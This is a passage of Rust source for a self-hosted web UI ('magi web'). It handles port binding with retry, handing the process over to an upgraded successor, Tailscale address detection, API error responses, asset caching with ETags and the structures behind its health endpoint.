1797/// and for a restart triggered from a phone that means the deck never comes
1798/// back with no terminal around to say why.
1799///
1800/// Bounded, and only for the one error a wait can fix: anything else fails at
1801/// once, because retrying it would turn a clear message into a silence.
1802async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1803    const WINDOW: Duration = Duration::from_secs(10);
1804    const GAP: Duration = Duration::from_millis(250);
1805
1806    let deadline = std::time::Instant::now() + WINDOW;
1807    let mut said = false;
1808    loop {
1809        match tokio::net::TcpListener::bind(socket).await {
1810            Ok(listener) => return Ok(listener),
1811            Err(e)
1812                if e.kind() == std::io::ErrorKind::AddrInUse
1813                    && std::time::Instant::now() < deadline =>
1814            {
1815                if !said {
1816                    said = true;
1817                    tracing::info!(
1818                        "{socket} is still held - waiting up to {}s for it, \
1819                         which is what a restart looks like from here",
1820                        WINDOW.as_secs()
1821                    );
1822                }
1823                tokio::time::sleep(GAP).await;
1824            }
1825            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1826        }
1827    }
1828}
1829
1830/// Signalled when an upgrade has replaced the binary and the successor should
1831/// take this address over. One per process: there is one address to hand on.
1832static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1833
1834/// Set to `1` on the successor when the loop was running at handover.
1835const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1836/// Keep a dynamically assigned listener address stable across replacement.
1837const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1838
1839/// Whether the environment value asks for the loop to be resumed.
1840fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1841    value.is_some_and(|v| v == "1")
1842}
1843
1844/// Start this binary again with the same arguments, detached.
1845///
1846/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1847/// so the address is already free when the successor binds it. The first
1848/// attempt at this spawned the successor two hundred milliseconds before
1849/// exiting instead, and the released binary - which has no bind retry - died
1850/// on "address already in use" with its stdio sent to null, so the deck
1851/// simply never came back.
1852///
1853/// Detached and without inherited stdio: the successor has to outlive this
1854/// process, and must not hold open a pipe a terminal is waiting on.
1855///
1856/// The scheduler is restarted separately; execution workers are not awaited.
1857///
1858/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1859/// than sent to null: a supervisor's redirection only ever held the first
1860/// generation's descriptors, so every later generation logged nowhere. The
1861/// pid of the child is returned so the handover log can name it.
1862fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1863    let args: Vec<String> = std::env::args().skip(1).collect();
1864    updater::log_step(
1865        home,
1866        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1867    );
1868    let log_path = home.join(WEB_LOG);
1869    let open_log = || {
1870        std::fs::create_dir_all(home)?;
1871        std::fs::OpenOptions::new()
1872            .create(true)
1873            .append(true)
1874            .open(&log_path)
1875    };
1876    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1877        Ok(pair) => (
1878            std::process::Stdio::from(pair.0),
1879            std::process::Stdio::from(pair.1),
1880        ),
1881        Err(e) => {
1882            updater::log_warn(
1883                home,
1884                &format!(
1885                    "could not open {}: {e}; the successor logs nowhere",
1886                    log_path.display()
1887                ),
1888            );
1889            (std::process::Stdio::null(), std::process::Stdio::null())
1890        }
1891    };
1892
1893    let mut cmd = std::process::Command::new(exe);
1894    cmd.env_remove(RESUME_LOOP_ENV);
1895    cmd.env(RESTART_PORT_ENV, port.to_string());
1896    cmd.args(&args)
1897        .stdin(std::process::Stdio::null())
1898        .stdout(out)
1899        .stderr(err);
1900    #[cfg(windows)]
1901    {
1902        use std::os::windows::process::CommandExt as _;
1903        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1904        // and Ctrl-C in the old terminal must not reach the successor.
1905        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1906    }
1907    let child = cmd.spawn().context("start the successor")?;
1908    Ok(child.id())
1909}
1910
1911/// File under `<home>` the successor's output is appended to.
1912const WEB_LOG: &str = "web.log";
1913
1914/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1915/// stored by an earlier `notify_one` is consumed by the first poll, so the
1916/// signal is never missed and never wakes a second time.
1917async fn wait_for_handover(signal: &Notify) {
1918    signal.notified().await;
1919}
1920
1921/// Serve the UI independently from scheduler and execution workers.
1922/// A restart releases its listener before starting the successor.
1923pub async fn serve(opts: Opts) -> Result<()> {
1924    // Capture before self-replacement: current_exe may later name a removed
1925    // image on Linux or the renamed old image on Windows.
1926    crate::worker::remember_current_executable()?;
1927    let executable = std::env::current_exe().context("find the installed web executable")?;
1928    let (addr, warning) = resolve_bind(&opts.bind);
1929    if let Some(warning) = warning {
1930        tracing::warn!("{warning}");
1931    }
1932
1933    // Process-global, and therefore set exactly once, here: the report route
1934    // must never emit escape sequences into a browser, and toggling the flag
1935    // per request would race with a concurrent request rendering its own
1936    // report. Startup is the only moment at which no request can observe the
1937    // change. Nothing in the server turns colour back on.
1938    report::set_color(false);
1939
1940    let repo = normalize_default_repo(opts.repo).await;
1941    let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1942    // The listener and periodic checker share one upgrade gate and state.
1943    let home = ui.home.clone();
1944    let admissions = Arc::clone(&ui.admissions);
1945    // Settles a progress record a predecessor left non-terminal - either this
1946    // *is* the successor `spawn_successor` started, or the previous process
1947    // died mid-handover. Before the router starts answering, so the very
1948    // first `/api/health` a phone gets from this process already reflects it.
1949    updater::reconcile_after_restart(&home);
1950    updater::log_step(
1951        &home,
1952        &format!(
1953            "web process started (version {}); handover log {}, successor output {}",
1954            env!("CARGO_PKG_VERSION"),
1955            updater::log_path(&home).display(),
1956            home.join(WEB_LOG).display()
1957        ),
1958    );
1959    updater::spawn_watchdog(home.clone());
1960    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1961    // `spawn_update_check` does at startup only ever runs once: after that,
1962    // `/api/health`'s `update` field - and the phone's "Update & restart"
1963    // button, which reads the very same cache - would stay frozen on
1964    // whatever that single check found, no matter how many releases ship
1965    // afterwards. The periodic checker below keeps it current and is
1966    // cancelled when the listener finishes.
1967    let port = if opts.port == 0 {
1968        std::env::var(RESTART_PORT_ENV)
1969            .ok()
1970            .and_then(|value| value.parse::<u16>().ok())
1971            .filter(|port| *port != 0)
1972            .unwrap_or(0)
1973    } else {
1974        opts.port
1975    };
1976    let socket = SocketAddr::new(addr, port);
1977    let listener = bind_waiting(socket).await?;
1978    let bound = listener.local_addr().context("read bound web address")?;
1979    let port = bound.port();
1980    let url = format!("http://{bound}");
1981    tracing::info!(
1982        "magi web UI on {url} - there is no authentication, so anyone who can \
1983         reach this address can file and hold tasks: the tailnet is the \
1984         security boundary"
1985    );
1986    // A legacy predecessor may request first-migration scheduler startup.
1987    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1988        ui.start_detached_loop()
1989            .await
1990            .map_err(|e| anyhow::anyhow!(e.message))?;
1991    }
1992    if opts.open {
1993        // The URL alone on stdout, for a caller that wants to open it. magi
1994        // does not spawn a browser: on the machine this usually runs on there
1995        // is no display, and a failed launch would be the only output.
1996        println!("{url}");
1997    }
1998
1999    // On its own task, so nothing this function awaits can stop the address
2000    // being answered. `hand_over` is where it is given up.
2001    let recheck_ui = ui.clone();
2002    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2003    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2004    let interrupted = async {
2005        if tokio::signal::ctrl_c().await.is_err() {
2006            // No handler on this platform, so there is no signal to act on.
2007            // Never resolving is the safe answer: a failed registration must
2008            // not masquerade as the operator asking for a shutdown and take
2009            // the UI down on startup.
2010            std::future::pending::<()>().await;
2011        }
2012    };
2013    let handover = wait_for_handover(&HANDOVER);
2014    let outcome = tokio::select! {
2015        joined = &mut served => match joined {
2016            Ok(outcome) => outcome.context("serve the web UI"),
2017            Err(e) => Err(e).context("the task serving the web UI ended"),
2018        },
2019        () = interrupted => {
2020            recheck.abort();
2021            tracing::info!("shutting down the web UI; detached workers continue");
2022            close_admissions(&admissions).await;
2023            served.abort();
2024            let _ = served.await;
2025            Ok(())
2026        }
2027        () = handover => {
2028            recheck.abort();
2029            let successor_home = home.clone();
2030            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2031        }
2032    };
2033    recheck.abort();
2034    let _ = recheck.await;
2035    updater::log_step(
2036        &home,
2037        &match &outcome {
2038            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2039            Err(e) => format!("serve: returning an error: {e:#}"),
2040        },
2041    );
2042    outcome
2043}
2044
2045/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
2046/// process's own working directory is not a git checkout at all - the
2047/// checkout [`repos::discover_verified`] finds instead.
2048///
2049/// Only the unmodified default is ever replaced: an operator who named a
2050/// directory outright, git checkout or not, gets exactly that directory
2051/// back, and the same story downstream (a talk whose briefing embeds a
2052/// non-git directory, and an agent that has to ask the operator where the
2053/// real repository is) that has always told them so - substituting a guess
2054/// for an explicit answer would be a second, silent opinion about what they
2055/// meant. There is no instruction or task text yet to match against this
2056/// early, so only [`repos::discover_verified`]'s own-repository tier can
2057/// ever settle this - the hint tier never fires here.
2058///
2059/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
2060/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
2061/// or a git installation that is broken in exactly the way that made the
2062/// original `canonical` check above fail too - so it is re-checked with
2063/// `git::toplevel` before it is ever used in place of the operator's own
2064/// directory.
2065async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2066    if repo != FsPath::new(".") {
2067        return repo;
2068    }
2069    let Ok(canonical) = repo.canonicalize() else {
2070        return repo;
2071    };
2072    if git::toplevel(&canonical).await.is_ok() {
2073        return repo;
2074    }
2075    let Some(home) = dirs::home_dir() else {
2076        return repo;
2077    };
2078    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2079        Some(found) => {
2080            tracing::info!(
2081                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2082                canonical.display(),
2083                found.path.display(),
2084                found.reason,
2085            );
2086            found.path
2087        }
2088        None => repo,
2089    }
2090}
2091
2092/// Close new ingress and finish only transactions publishing durable work.
2093/// The writer waits for owned admission guards, not task or chat turn leases.
2094async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2095    *admissions.write().await = true;
2096}
2097
2098/// Restart only the scheduler and web listener, never their execution workers.
2099/// The old listener must be fully released before the successor is started.
2100async fn hand_over(
2101    home: &FsPath,
2102    admissions: &tokio::sync::RwLock<bool>,
2103    served: tokio::task::JoinHandle<std::io::Result<()>>,
2104    successor: impl FnOnce() -> Result<u32>,
2105) -> Result<()> {
2106    close_admissions(admissions).await;
2107    if let Some(mut progress) = updater::read_progress(home) {
2108        progress.advance(updater::Stage::Restarting);
2109        progress.detail =
2110            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2111        updater::write_progress_logged(home, &progress);
2112    }
2113    updater::log_step(
2114        home,
2115        "restarting scheduler without parking execution workers",
2116    );
2117    let scheduler = daemon::restart_detached(home).await;
2118    if let Err(error) = &scheduler {
2119        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2120        updater::log_warn(
2121            home,
2122            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2123        );
2124    }
2125    updater::log_step(home, "releasing the web listener");
2126    served.abort();
2127    let _ = served.await;
2128    updater::log_step(home, "web listener released; starting the successor");
2129    match successor() {
2130        Ok(pid) => {
2131            updater::log_step(home, &format!("successor started, pid {pid}"));
2132            scheduler
2133        }
2134        Err(e) => {
2135            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2136            Err(e)
2137        }
2138    }
2139}
2140
2141/// Resolve `--bind` to an address, plus a warning when the answer is not what
2142/// the operator asked for.
2143///
2144/// Split out from [`serve`] because the interesting half - deciding whether
2145/// Tailscale gave us something usable - is testable without opening a socket.
2146pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2147    match bind {
2148        Bind::Addr(addr) => (*addr, None),
2149        Bind::Auto => match tailscale_ip() {
2150            Ok(ip) => (IpAddr::V4(ip), None),
2151            Err(why) => (
2152                IpAddr::V4(Ipv4Addr::LOCALHOST),
2153                Some(format!(
2154                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2155                     local-only and a phone cannot reach it; start Tailscale \
2156                     or pass --bind <addr>"
2157                )),
2158            ),
2159        },
2160    }
2161}
2162
2163/// This machine's Tailscale IPv4, or why there is not one.
2164///
2165/// `tailscale ip -4` is a local call against the running daemon and returns in
2166/// milliseconds, so it is fine to make it synchronously before the server
2167/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2168/// CGNAT block Tailscale assigns from, and anything else on that output would
2169/// be a different tool answering.
2170fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2171    let out = std::process::Command::new("tailscale")
2172        .args(["ip", "-4"])
2173        .quiet()
2174        .output()
2175        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2176    if !out.status.success() {
2177        let why = String::from_utf8_lossy(&out.stderr);
2178        let why = why.trim();
2179        return Err(format!(
2180            "`tailscale ip -4` failed ({}){}",
2181            out.status,
2182            if why.is_empty() {
2183                String::new()
2184            } else {
2185                format!(": {why}")
2186            }
2187        ));
2188    }
2189    String::from_utf8_lossy(&out.stdout)
2190        .lines()
2191        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2192        .find(is_tailnet)
2193        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2194}
2195
2196/// Is this address in the CGNAT block Tailscale hands out from?
2197fn is_tailnet(ip: &Ipv4Addr) -> bool {
2198    let o = ip.octets();
2199    o[0] == 100 && (64..=127).contains(&o[1])
2200}
2201
2202/// What every handler returns. Spelled out because `Result` in this crate is
2203/// `anyhow::Result`, and a handler's error is a status code as much as a
2204/// message.
2205type ApiResult<T> = std::result::Result<T, ApiError>;
2206
2207/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2208#[derive(Debug)]
2209struct ApiError {
2210    status: StatusCode,
2211    message: String,
2212    text_reason: Option<crate::question_delivery::UnavailableReason>,
2213}
2214
2215impl ApiError {
2216    /// The client asked for something malformed.
2217    fn bad_request(message: impl Into<String>) -> Self {
2218        Self {
2219            text_reason: None,
2220            status: StatusCode::BAD_REQUEST,
2221            message: message.into(),
2222        }
2223    }
2224
2225    /// No such run or task.
2226    fn not_found(message: impl Into<String>) -> Self {
2227        Self {
2228            text_reason: None,
2229            status: StatusCode::NOT_FOUND,
2230            message: message.into(),
2231        }
2232    }
2233
2234    /// Someone else owns the thing the client wants to change.
2235    /// Re-badge an error whose default mapping is wrong for this route.
2236    fn with_status(mut self, status: StatusCode) -> Self {
2237        self.status = status;
2238        self
2239    }
2240
2241    /// A rules violation from a domain type, reported as the caller's fault.
2242    /// `Question::answer` rejects an unoffered choice, and that is a bad
2243    /// request, not a server error.
2244    fn bad_request_from(e: anyhow::Error) -> Self {
2245        Self::bad_request(format!("{e:#}"))
2246    }
2247
2248    fn conflict(message: impl Into<String>) -> Self {
2249        Self {
2250            text_reason: None,
2251            status: StatusCode::CONFLICT,
2252            message: message.into(),
2253        }
2254    }
2255
2256    /// Our fault, or the disk's.
2257    fn internal(message: impl Into<String>) -> Self {
2258        Self {
2259            text_reason: None,
2260            status: StatusCode::INTERNAL_SERVER_ERROR,
2261            message: message.into(),
2262        }
2263    }
2264}
2265
2266impl From<anyhow::Error> for ApiError {
2267    /// Errors from `queue` and `run` carry their context chain, and the whole
2268    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2269    /// value at line 3" is a message an operator can act on, and there is no
2270    /// secret in a path on a single-user tailnet.
2271    fn from(e: anyhow::Error) -> Self {
2272        Self::internal(format!("{e:#}"))
2273    }
2274}
2275
2276impl IntoResponse for ApiError {
2277    fn into_response(self) -> Response {
2278        let mut body = serde_json::json!({ "error": self.message });
2279        if let Some(reason) = self.text_reason {
2280            body["code"] = serde_json::json!("question_text_unavailable");
2281            body["reason"] = serde_json::json!(reason);
2282        }
2283        (self.status, Json(body)).into_response()
2284    }
2285}
2286
2287/// Run a handler's filesystem work off the executor.
2288///
2289/// Every route that touches the disk goes through here rather than each one
2290/// arguing about whether its own read is small enough. Uniform because the
2291/// expensive case is not rare: `run.json` for a finished competition holds
2292/// every judgement, deliberation turn and review round, so listing a few
2293/// hundred runs is megabytes of parsing, and the executor threads doing it are
2294/// the same ones serving the change stream of every other connected phone.
2295async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2296where
2297    T: Send + 'static,
2298{
2299    #[cfg(test)]
2300    let job = request_cost::carry(job);
2301    match tokio::task::spawn_blocking(job).await {
2302        Ok(result) => result,
2303        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2304    }
2305}
2306
2307/// Bulk readers have a bounded, separate execution lane. A cold health
2308/// index or multiple slow list clients cannot occupy the pool serving detail.
2309async fn bulk_blocking<T>(
2310    slots: Arc<tokio::sync::Semaphore>,
2311    job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2312) -> ApiResult<T>
2313where
2314    T: Send + 'static,
2315{
2316    let permit = slots
2317        .acquire_owned()
2318        .await
2319        .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2320    let (send, receive) = tokio::sync::oneshot::channel();
2321    #[cfg(test)]
2322    let job = request_cost::carry(job);
2323    let runtime = tokio::runtime::Handle::current();
2324    std::thread::Builder::new()
2325        .name("web-bulk".into())
2326        .spawn(move || {
2327            let _permit = permit;
2328            // Capacity observations schedule their independent blocking job.
2329            let _runtime = runtime.enter();
2330            let _ = send.send(job());
2331        })
2332        .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2333    receive
2334        .await
2335        .map_err(|_| ApiError::internal("Bulk reader failed"))?
2336}
2337
2338/// Cache policy for the three compiled-in front-end files.
2339///
2340/// The whole interface is `include_str!`ed into the binary, so its content
2341/// changes only when the binary does - and a phone that keeps a copy is
2342/// welcome to, right up until the deck is replaced. Without a single cache
2343/// header, browsers were free to invent their own policy, and one did:
2344/// yukimemi's phone went on showing "Candidates must be folded before
2345/// deleting. Run `magi fold` first." - a sentence deleted two releases
2346/// earlier - from a run detail served by a deck that no longer contained it.
2347/// The delete button he was told about was right there, and unreachable.
2348///
2349/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2350/// every time, the answer is a 304 costing one small round trip while the
2351/// deck is unchanged, and the moment it is replaced the tag differs and the
2352/// new interface arrives. Correctness over bytes - this is one file of a few
2353/// tens of kilobytes on a tailnet, and being a version behind is not a
2354/// cosmetic problem when the difference is whether a button exists.
2355const ASSET_CACHE: &str = "no-cache, must-revalidate";
2356
2357/// `ETag` for the compiled-in assets, distinct per build.
2358///
2359/// The version alone would leave a locally built deck - `cargo install
2360/// --path .` twice at the same version, which is the normal way to iterate -
2361/// serving a stale tag for changed bytes. The build timestamp is what makes
2362/// two builds of `0.3.0` differ.
2363fn asset_etag() -> &'static str {
2364    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2365        format!(
2366            "\"{}-{}\"",
2367            env!("CARGO_PKG_VERSION"),
2368            // Length is a cheap, deterministic stand-in for a hash: the
2369            // three files are compiled in together, so any edit to any of
2370            // them almost certainly changes the total, and a rebuild is what
2371            // this needs to track rather than every possible byte pattern.
2372            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2373        )
2374    });
2375    &TAG
2376}
2377
2378/// Headers for a compiled-in asset of `mime`.
2379fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2380    [
2381        (header::CONTENT_TYPE, mime),
2382        (header::CACHE_CONTROL, ASSET_CACHE),
2383        (header::ETAG, asset_etag()),
2384    ]
2385}
2386
2387/// Serve a compiled-in asset, answering `304` when the client already has it.
2388///
2389/// axum does not compare `If-None-Match` for us, and a header the server sets
2390/// but never honours is worse than none: the phone revalidates on every load
2391/// and is handed the whole file back each time. Doing the comparison is what
2392/// makes `must-revalidate` cost one small round trip rather than the
2393/// interface.
2394fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2395    let tag = asset_etag();
2396    let known = headers
2397        .get(header::IF_NONE_MATCH)
2398        .and_then(|v| v.to_str().ok())
2399        // A revalidating client may send several, and a proxy may weaken the
2400        // tag to `W/"..."`; matching on containment covers both without
2401        // parsing the grammar.
2402        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2403    if known {
2404        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2405    }
2406    (asset_headers(mime), body).into_response()
2407}
2408
2409async fn index(headers: header::HeaderMap) -> Response {
2410    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2411}
2412
2413async fn app_css(headers: header::HeaderMap) -> Response {
2414    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2415}
2416
2417async fn app_js(headers: header::HeaderMap) -> Response {
2418    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2419}
2420
2421/// What `/api/health` answers.
2422#[derive(Debug, Serialize)]
2423struct HealthView {
2424    version: &'static str,
2425    home: String,
2426    queue_rev: u64,
2427    runs_rev: u64,
2428    /// The same revisions [`events`] streams for the question and talk
2429    /// stores.
2430    ///
2431    /// Here because this route is what the front end falls back to when the
2432    /// change stream is not up - it re-polls health on a timer and on wake, and
2433    /// takes the revisions from the answer. Without these the fallback
2434    /// compares `undefined` against `undefined` for both stores, decides
2435    /// nothing moved, and a phone with a dead stream never learns that a
2436    /// question was asked or that a talk took a turn. `queue_rev` and
2437    /// `runs_rev` above have always been here for exactly this reason; the rule
2438    /// is that every revision the stream carries, this route carries too.
2439    questions_rev: u64,
2440    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2441    talks_rev: u64,
2442    /// See [`HealthView::questions_rev`]. The notification centre's store.
2443    notifications_rev: u64,
2444    /// Notifications nobody has read yet: the bell's badge before
2445    /// `/api/notifications` has answered.
2446    notifications_unread: usize,
2447    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2448    /// is not on disk anywhere, so a phone with no change stream has no other
2449    /// way to notice that the loop it is waiting on was started from another
2450    /// device.
2451    loop_rev: u64,
2452    /// Runs on disk whose state this build cannot parse - almost always a
2453    /// schema bump, occasionally a run killed mid-write.
2454    ///
2455    /// Reported because the list silently skips them, and "no competitions
2456    /// yet" is a lie when six of them are sitting in the runs directory. The
2457    /// terminal deck learned the same lesson: a run that fails to parse must
2458    /// not disappear from the count.
2459    runs_unreadable: usize,
2460    /// The disk, and what the runs and their worktrees occupy on it.
2461    ///
2462    /// This is the incident the janitor exists for: magi alone put 30 GB into
2463    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2464    /// is exactly where the operator learns "the disk is the constraint" -
2465    /// the diagnosis that a run is being held for want of space has to be
2466    /// checkable on the same screen.
2467    disk: Option<serde_json::Value>,
2468    /// Questions nobody has answered yet, including ones an owner talked
2469    /// back on and is now waiting for the agent's reply to. A round trip
2470    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2471    /// while the ball is in the agent's court - see
2472    /// [`crate::ask::Questions::count_open`].
2473    questions_open: usize,
2474    /// Of those, how many actually need the owner right now: open, and not
2475    /// [`crate::ask::Question::waiting_on_agent`].
2476    ///
2477    /// The one number that means "nothing will happen until a human acts" -
2478    /// a parked run consumes nothing and progresses never - and the count the
2479    /// ask bar, the nav badge and the document title fall back to before
2480    /// `/api/questions` has answered, so those notification channels clear
2481    /// the instant the owner asks back and reappear the instant the agent
2482    /// replies, instead of sitting lit for however long the agent thinks.
2483    questions_needs_owner: usize,
2484    daemon: DaemonView,
2485    /// The independently controllable scheduler, as `/api/loop` reports it.
2486    ///
2487    /// Here so a phone that has just woken needs one request to know whether
2488    /// anything is going to happen at all: `daemon` says a loop is alive
2489    /// somewhere, and this says whether it is one this UI can stop.
2490    #[serde(rename = "loop")]
2491    looping: LoopView,
2492    /// Whether a release newer than this build is known, and which.
2493    ///
2494    /// From [`updater::Checker::cached_update`] - the same throttled state the
2495    /// CLI's `notify` mode banners from - never a live check: this route is
2496    /// polled every few seconds, and a live check on each poll would spend
2497    /// GitHub's rate limit before the operator finished reading the strip.
2498    update: UpdateView,
2499    /// The self-upgrade this deck last set in motion, or `null` before the
2500    /// first one. Read off disk, so the successor can report what its
2501    /// predecessor started.
2502    upgrade: Option<UpgradeProgressView>,
2503    /// Detached jobs survive replacement of this web process. Each reports
2504    /// its own immutable executable generation rather than the web version.
2505    jobs: Vec<WorkerView>,
2506    upgrade_request_error: Option<UpgradeRequestFailure>,
2507}
2508
2509/// Public execution metadata only. Job payloads contain private configuration
2510/// and must never be returned by the health endpoint.
2511#[derive(Debug, Serialize)]
2512struct WorkerView {
2513    id: String,
2514    kind: String,
2515    key: String,
2516    pid: Option<u32>,
2517    status: crate::worker::Status,
2518    generation: String,
2519    version: Option<String>,
2520    queue_owned: bool,
2521}
2522
2523impl From<crate::worker::Job> for WorkerView {
2524    fn from(job: crate::worker::Job) -> Self {
2525        let queue_owned = job.kind == "task"
2526            && job
2527                .payload
2528                .get("standalone")
2529                .and_then(serde_json::Value::as_bool)
2530                != Some(true);
2531        Self {
2532            id: job.id,
2533            kind: job.kind,
2534            key: job.key,
2535            pid: job.pid,
2536            status: job.status,
2537            generation: job.generation,
2538            version: job.version,
2539            queue_owned,
2540        }
2541    }
2542}
2543
2544/// What `/api/health` knows about a release newer than this build.
2545///
2546/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2547/// is already the newest" from "never checked" - both are `None` - and the
2548/// phone needs to tell those apart to decide whether the deck can be trusted
2549/// to have an opinion at all.
2550#[derive(Debug, Clone, Serialize)]
2551struct UpdateView {
2552    /// A newer release is known to exist.
2553    available: bool,
2554    /// Its tag, when `available`.
2555    to: Option<String>,
2556}
2557
2558/// [`updater::Progress`] as `/api/health` reports it.
2559#[derive(Debug, Serialize)]
2560struct UpgradeProgressView {
2561    trigger: updater::UpgradeTrigger,
2562    stage: updater::Stage,
2563    from: String,
2564    to: Option<String>,
2565    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2566    /// the step it is finishing before the address is handed over.
2567    waiting_on: Option<String>,
2568    started_at: Timestamp,
2569    updated_at: Timestamp,
2570    detail: Option<String>,
2571    /// Seconds the stage has outlived its allowance, when it has - see
2572    /// [`updater::stall`]. `null` while the stage is moving normally.
2573    stuck_for_secs: Option<i64>,
2574    /// Which kind of stuck: `never_entered` (hand_over left no record of
2575    /// starting) or `stopped_beating`. `null` when not stuck.
2576    stuck_kind: Option<updater::StallKind>,
2577    /// `hand_over` is alive and waiting on the loop: however long that takes,
2578    /// it is not an overdue upgrade.
2579    handover_alive: bool,
2580}
2581
2582/// Whether [`run_update_recheck`] may act at all this tick.
2583///
2584/// The same two conditions [`updater::Checker::new`] and
2585/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2586/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2587/// GitHub from this process" - on a button press or on a timer alike.
2588fn should_spawn_recheck(cfg: &Update) -> bool {
2589    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2590}
2591
2592/// Whether this tick should actually reach the network, once checking itself
2593/// is allowed.
2594///
2595/// An upgrade already in flight must not be raced by a check that discovers
2596/// a *newer* release while one is still installing - a phone watching
2597/// `/api/health` would see the answer change out from under the upgrade it
2598/// already asked for. Past that, [`updater::Checker::should_check`] is the
2599/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2600/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2601/// polling period, is what keeps this task's network use to at most once per
2602/// `[update] interval` regardless of how often it wakes up.
2603fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2604    if progress.is_some_and(|p| !p.stage.terminal()) {
2605        return false;
2606    }
2607    checker.should_check()
2608}
2609
2610/// How long [`run_update_recheck`] sleeps before its next wake-up.
2611///
2612/// A fraction of the configured `[update] interval` rather than a fixed
2613/// number: a fixed sleep longer than a short custom interval would leave the
2614/// deck waiting on its own wake-up rather than on `should_check`, so an
2615/// operator who set `interval = "1m"` to make the UI catch up quickly would
2616/// not see that take effect until the next restart - exactly the bug this
2617/// task exists to fix, just moved one level down. Scaling with the interval
2618/// keeps the wake-up prompt relative to what was actually configured, while
2619/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2620/// still what caps the network calls themselves at one per interval,
2621/// regardless of how often this fires.
2622fn recheck_poll_period(cfg: &Update) -> Duration {
2623    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2624}
2625
2626#[derive(Debug, PartialEq, Eq)]
2627enum AutoUpgradeDecision {
2628    Skip(&'static str),
2629    Trigger,
2630}
2631
2632fn auto_upgrade_decision(
2633    cfg: &Update,
2634    disabled: bool,
2635    in_motion: bool,
2636    tag: &str,
2637    failed: Option<&str>,
2638) -> AutoUpgradeDecision {
2639    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2640        AutoUpgradeDecision::Skip("disabled")
2641    } else if in_motion {
2642        AutoUpgradeDecision::Skip("upgrade already in progress")
2643    } else if failed == Some(tag) {
2644        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2645    } else {
2646        AutoUpgradeDecision::Trigger
2647    }
2648}
2649
2650/// Refresh the shared cache and optionally request the same handover as the UI.
2651async fn run_update_recheck(ui: Arc<Ui>) {
2652    loop {
2653        let cfg = match Config::discover(&ui.repo, None) {
2654            Ok((cfg, _)) => cfg,
2655            Err(e) => {
2656                updater::log_warn(
2657                    &ui.home,
